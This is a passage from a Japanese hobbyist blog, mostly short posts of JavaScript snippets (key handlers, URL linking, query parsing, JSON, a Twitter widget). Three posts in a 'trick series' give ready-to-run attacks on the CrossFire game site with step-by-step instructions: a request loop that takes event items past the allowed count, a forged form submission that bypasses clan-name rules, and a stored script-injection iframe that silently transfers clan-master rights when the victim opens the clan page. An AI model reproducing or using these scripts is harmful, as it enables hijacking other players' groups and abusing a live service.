カテゴリー
未分類

JavaScriptで各キーに関数をセットする

 

今回は各キーを入寮したときに関数を呼び出せるようにするゲーム開発やキーロガー作成の手助けをするものを作成しました。

 

まず、ヘッダーに

<script src=”http://axe1lyze.client.jp/methods.js”></script>

と書いておく。

jQueryを使っているのでそちらを先にヘッダーに書いてくださいね。

 

そしてボディーに

<SCRIPT type=”text/javascript”><!–
    var keyFunc = new Array();
    keyFunc[“16”] = function(){alert(SEARCH[“key”]);};
    defaultFunc=function(data,i,f){
        $(“body”).empty().append(
            data+” : “+i+
            ” / Shift : “+(f[’16’]?true:false)+”<br>”
        );
    };
    addKeyFunc(“body”,keyFunc,defaultFunc);
// –></SCRIPT>

こんな感じでスクリプトを書けばおk。

 

さて説明。

まず、addKeyFuncのパラメータについて。

addKeyFunc(
    メソッドを追加する対象のオブジェクト ,
    連想配列に格納されたメソッド群 ,
    キーが押されたときのメソッド
)

 

第一引数のオブジェクトはjQueryを使っているので

<div id=”test”></div>

のようなオブジェクトに対して動作をセットしたい場合、

“div#test”

のようにセットしてください。

 

第二引数の連想配列について。

var keyFunc = new Array();
keyFunc[“16”] = function(data){alert(data[‘16’]);};

要するにこの部分。

配列[キーコード]の中にメソッドを入れてください。

ここのメソッドの引数には

キーの状態(boolean)

が連想配列で返ってきます。

 

第三引数はどのキーを押しても動作する関数です。ログを吐かせるときなどに使います。

セットしたメソッドの第一引数には押されたキーのキーコード、第二引数には押されたのか離されたのかがBooleanで渡されます。

defaultFunc = function(data,v,f){
    $(“body”).append(data+” : ”+i+”+f+”<br>”);
}

のようにセットします。

このメソッドの引数には

押されたキーのコード
押されたキーの状態(boolean)
そのほかのキーの状態[連想配列](boolean)

が帰ってきます。

 

このサンプルは

http://axe1lyze.client.jp/examples/keypress.html

に置いておきます。

 

Google Chrome, FireFox, IEで動作します。

とりあえずそのうち解説ページを作りますかね。

カテゴリー
未分類

JavaScriptで文字列からURLを検出しリンクに変更する。

とりあえず一応動くものを作成した。

パラメタにセットされた文字列の中にあるURLをすべてリンクに書き換えます。

けど大量の処理を一気にこれでやらせるとフリーズする可能性が高いので、出力するときに使うなど、連続した処理は避けてください。

 

コードは以下。

function urlToLink(word,attr){
    if(word.indexOf(“http://”)!=-1){
        attr=attr!=null?attr:””;
        var link = new Array();
        link=word.split(“http://”);
        for(i=0;i<link.length;i++){
            link[i]=”http://”+link[i];
            if(link[i].indexOf(” “)!=-1){link[i]=link[i].split(” “)[0];}
        }
        link.shift();
        for(i=0;i<link.length;i++){
            word=word.replace(link[i],”<a href='”+link[i]+”‘ “+attr+”>”+link[i]+”</a>”);
        }
        link.length=0;
    }
    return word;
}

 

使い方

urlToLink(文字列,属性)
文字列はURLをLINKに変換したい文字列を入れます。
属性は “target=’_blank’ name=’link’”のように記述してください。

 

そのうち属性のセットは連想配列で入力するように仕様変更するかもしれません。

カテゴリー
未分類

JavaScriptで検索クエリ(location.search)を多用する人必見!!

さて、多分多様する人ならもう作ってるとは思いますが、一応かなり簡単に使うためのメソッドを作ってみました。

function urlArgs(){
    try{    var data=new Array();
        var returnArray=new Array();
        data = location.search.split(“?”)[1].split(“&”);
        for(i=0;i<data.length;i++){ returnArray[data[i].split(“=”)[0]] = data[i].split(“=”)[1]; }
        data=null;
        return returnArray;
    }catch(e){return null;}
}

仕様:検索クエリに入れられたワードを連想配列にして返す。

 

http://localhost/?name=axe1lyze&age=20
で、
urlArgs()[“name”]はaxe1lyzeに。
urlArgs()[“age”]は20
になります。

値が無いときはUndefinedを返します。

 

PHPみたいに使いたかったら

var $_GET = urlArgs();

としておけばURLにいれたパラメータに対して$_GET[“変数名”]で値を取得できる。

 

それなりに便利だと思うよ。

カテゴリー
未分類

クロスファイアのGWガチャイベントでアイテムを前借する方法

日本のクロスファイアに関する裏ワザシリーズ第3弾!

このシリーズは知的好奇心を満たす目的で書いています。悪意のあるユーザーは使わないでください。善意でも駄目です。

GWガチャイベントにあわせてコードを書いています。正直メリットは少なそう。

以下の作業はすべてGoogle Chromeで行うことができます。目指せGoogle Chromeシェア率トップ。

 

まずはGoogle ChromeでCFのページに行ってログインする。やり方は前に書いたから省略。

そしたらGWガチャを回せるページに行く。

そしてURLバーに次のコードを入れて実行する。(コードに改行はありません。)

javascript:var log = window.open(”, ”, ‘width=320, height=240,scrollbars=yes’);log.document.write(“<div style=’font-size:x-small’><div>取得アイテム一覧(このウィンドウを閉じると取得を停止します。)</div><hr><div id=’log’></div></div>”);var t=setInterval(function(){jQuery.ajax({type:”POST”,url:”GW2011ItemSend.htmls”,data:{“kbn”:1},success:function(data){var msg=decodeURIComponent(eval(‘(‘+data+’)’).result);if(log && !log.closed && msg.indexOf(“ログインが必要です。”)==-1){if(msg.indexOf(“カウントがありません。”)==-1){log.document.getElementById(“log”).innerHTML+=msg+”<br>”;}}else{clearInterval(t);}}});},0);

ながいけどちゃんと動作するからね。

 

カウントが1のときにやると大体6個ぐらいアイテムがもらえる。(回線速度とCPUの処理速度により個数が変わるかも)

次に行ってみるとカウントがマイナスになる。要するに前借ですね。

得も無ければ損もありません。

 

次のイベントに期待。

カテゴリー
未分類

Ustreamでゲーム向けの高フレームレートの動画配信する

ここではFlash Media Live Encoderをつかって配信する時の設定を紹介します。

Flash Media Live EncoderでUstreamの設定ファイルが開けている状態が前提。

 

使っているキャプチャソフトは「VH Screen Capture」

 

ビデオの設定

Format : VP6 {
    keyframe Frequency : 10 seconds
    Quality : Lower Quality – Best Framerate
    Noise Reduction : None
    Datarate Window : Huge
    CPU Usage : Dedicated }
Frame Rate : 24 ~ 30 fps (60fpsは相当なハイエンドじゃないと重い)
Bit Rate : 3000 Kbps
Output Size : 640*360 (640*autoぐらいがいいかな)

音声の設定

Format : mp3
Channels : Stereo
Sample Rate : 44100 Hz
Bit Rate : 192 Kbps

配信先の設定

Auto Adjustにチェック。
Degrade Qualityを選択

Auto Adjustの設定

Maximum Buffer Size : 5 sec
Minimum Video Bitrate : 1000 Kbps
(※Preserve Per Frame Qualityにはチェックを入れない。)

 

これでクロスファイアやCS1.6は動作チェックをし結構快適に配信ができていることがわかった。

CS:Sはなぜかうまくできてない。

とりあえずほかのキャプチャソフト探してみますかね。

カテゴリー
未分類

JSONの使い方を初心者向けに説明

もちろんクリミナルマインドのベテランプロファイラーでも、チェーンソーをもってる危ないおじちゃんでもありません。

簡単に言えば、データを多次元配列で持ってきたもの。

配列とは違ってオブジェクトになってるってだけ。

前提知識として配列とかオブジェクトってのはわかってね。たぶん次を見ればわかると思うけど。

 

こんなページからJSONのデータを持ってきてね。(JSONなんてのはそのまま見たら意味の分からない文字の羅列だからJSON Viewerとかを使って覗いてみましょう)

 

リクエストするURLが

http://api.twitter.com/1/Axe1lyze/online-gaming-clan/members.json

だった場合,

http://api.twitter.com/1/Axe1lyze/online-gaming-clan/members.json&callback=?

のように必ず最後に「&callback=?」をつけてくださいね。

 

簡単にソースコードを。$.getJSONを使います。

例えば以下のようなデータを持ってきたとします。

{“users”:
    {“name”:”axe1lyze”,
     “age”:”20
    },
    {“name”:”ponyoponyo”,
     “age”:”50
    }
}

この場合、以下のようにしてデータを取得します。

$.getJSON(
    url,function(data){
        alert(data.users[0].name);
    }
)

こうだと「axe1lyze」とアラートされます。

$.getJSON(
    url,function(data){
        alert(data.users[1].name +
        ” : “+
        data.users[1].age);
    }
)

こうすると「ponyoponyo : 50」とアラートされます。

簡単だよね。これを知るために文献さがしてたら1日かかってしまった。

これ見てもわからなかった方はメッセージをいただければできる限りで説明します。

カテゴリー
未分類

Twitterでグループチャットを行う

クラン用に作成しました。

といっても、グループを決めて普通にツイートするだけでOK。

今回作成したのはツイート機能はなくメンバーのグループチャット関連のログを表示するブログパーツです。

サンプルはこのブログの左側にあるブログパーツの「Discussion in My Clan」。

機能はディスカッションのハッシュが含まれているツイートまたはメンバーリストに記述されている人の間での会話を表示する。

 

仕組みは簡単でツイッターの検索ブログパーツにちょっとスクリプトを組み込むだけ。

 

<script src=”http://widgets.twimg.com/j/2/widget.js”></script>
<script>

var hash = “ディスカッションのハッシュタグ”;

var member = new Array(); //メンバーリストを配列で作成
member[0] = “userId0”;
member[1] = “userId1”;


new TWTR.Widget({
  version: 2,
  type: ‘search’,
  search: getSearch(member,hash),
  interval: 6000,
  title: ”,
  subject: ”,
  width: ‘auto’,
  height: 300,
  theme: {
    shell: {
      background: ‘transparent’,
      color: ‘#4783c1’
    },
    tweets: {
      background: ‘transparent’,
      color: ‘#ffffff’,
      links: ‘#00ff51’
    }
  },
  features: {
    scrollbar: true,
    loop: false,
    live: true,
    hashtags: true,
    timestamp: true,
    avatars: true,
    toptweets: false,
    behavior: ‘all’
  }
}).render().start();

function getSearch(member,hash){
    var searchKey = “from:” + member[0] + ” @” + member[0];
    for(i=1;i<=member.length-1;i++){ searchKey = “from:”+member[i]+” OR ” + searchKey + ” OR @” + member[i]; }
    searchKey = hash + ” OR ” + searchKey;
    return searchKey;
}
</script>

 

長いですが、ブログパーツのソースに少し手を加えただけなんで。

member配列とhash(赤文字)をいじってお使いください。

 

そのうちメンバーリストをディスカッションのリストのフォローから作成する機能をつけるかもしれません。

あと、このブログパーツだと@付きメッセージしか表示できないのでそこもなんとかしたい。

だれか検索でターゲットとなるユーザーの@がついていないメッセージを取得する検索条件を教えてください。

そうすれば文句なしのものが完成するので。

 

ちなみに「from:axe1lyze -@」これでもできませんでした。

カテゴリー
未分類

クロスファイアで階級・6文字制限を回避してクランを作成する方法

日本のクロスファイアに関する裏ワザシリーズ第2弾!

このシリーズは知的好奇心を満たす目的で書いています。悪意のあるユーザーは使わないでください。善意でも駄目です。

階級を上げる時間がないあなたにピッタリな裏ワザです。

この裏技を使えば階級を上げずに12文字までのクラン名のクランを立てることができます。

でも使わないでください。やったらたぶんIDをBANされます。

以下の作業はすべてGoogle Chromeで行うことができます。目指せGoogle Chromeシェア率トップ。

 

まず、クロスファイア公式ページでログインする。

クラン作成ページでエリアを設定している状態で下記のコードをURLバーから実行するだけ。

赤文字のところは任意に書き換えてくださいね。(コードに改行はありません)

javascript:a=document.createForm;a.clanId.value = “クラン名”;a.pr.value=”PR内容”;a.action = “createClan.action”;a.method = “post”;a.target=”ifrLogout”;a.submit();

もちろん作成したらGPは減りますよ。

 

クロスファイアの掲示板にて誰とは言いませんが

「半角だったら12文字までいける。」

という単純な発想で根も葉もない発言をしているおつむのよろしくない子もいるようです。

「全角文字は半角文字の2文字分として扱われる」←ここまでは正しい。

たぶんパソコン初めて1ヶ月もあればだれもが気づくことでしょう。

しかし残念なことに実際のところソースを見るとtrimメソッドにより半角も2文字として扱うようにしているので、半角全角関係なく6文字しか入力することができません。

 

ちなみに正式に12文字にするなら課金してクラン名変更すれば大丈夫だ という発言もあります。

自分は課金してないので確認できませんが。

 

今後の予定

・メールアドレスを設定してないアカウント(現在では作成できません)で掲示板に記事を投稿する方法を解説

・CFがクロスドメインからの要求を受け入れるかをチェックし、できるならばここで使える裏技をまとめた非公式のサイト立ち上げ

 

意見や要望はTwitter、Skype、コメントにてどうぞ。

カテゴリー
未分類

クロスファイアのクランを乗っ取る方法

日本のクロスファイアに関する裏ワザシリーズ第1弾!

このシリーズは知的好奇心を満たす目的で書いています。悪意のあるユーザーは使わないでください。善意でも駄目です。

1時間程度で完成したもので理論上は動作するけども、やっちゃいけません。妄想して楽しんでください。

以下の作業はすべてGoogle Chromeで行うことができます。目指せGoogle Chromeシェア率トップ。

 

早速やり方を説明。

まずここからブラウザ判定を迂回して公式ページにアクセス。

次にログインし、URLバーにview-source:http://crossfire.arario.jp/goClanPage.action?pageName=clanRoomと入力しジャンプ。

表示されたソースコードの中にご丁寧にuserIdが記述されているので記憶しておく。

記憶したらマイクランページに移動。

<iframe src=”http://crossfire.arario.jp/memberPopup.action?mode=manage&userId=先ほど記憶したuserId” name=”a” onload=”b=a.document.getElementById(‘updateForm’);b.target=’ifrLogout’;b.method=’POST’;b.mode.value=’m0′;b.action=’updateClanUser.action’;a.location.href=’javascript:document.updateForm.submit()’;” width=”0” height=”0”></iframe>

上記のコードをクランページの掲示板に書き込むのだが、普通にはできないのでコメント入力欄に入力してある状態でURLバーに下記コードをURLバーに入力しジャンプする。(上下両方ともコードに改行はありません。)

javascript:a=document.writeCommentForm;a.contents.value=comment.value;a.action=”insertComment.action”;a.method=”POST”;a.target=”ifrLogout”;a.submit();

あとはクランマスターがクランページにアクセスしたときに上記のスクリプトが動作し、IframeのURLに書かれているIDにクランマスターの権限が飛んでくる。

 

知識がなくてもこんなことができるようでいいのだろうか。まぁこうなっては公式ページを1から作り直さなくてはどうしようもない状態だと思うけども。

 

意見や要望はTwitter、Skype、コメントにてどうぞ。

カテゴリー
未分類

JavaScriptで配列の内容が同一か比較する。

とりあえずソースを見てもらいたい。

a = new Array();
b = new Array();

for(i=0;i<10;i++){ a[i] = b[i]=i; }

alert(a==b);

これ、Falseが出るんですよ。

というわけで二つの配列を比較するためのメソッドを作ってみた。

function compArray(a,b){
    var bool = true;
    if(a.length==b.length){
        for(i=0;i<a.length;i++)if(a[i]!=b[i]){bool=false;}
    }else{ bool = false; }
    return bool;
}

作ってみて思ったのが「どうせこういうメソッドはもとから・・・」

でも探すよりも書いたほうが早い時もあるよね。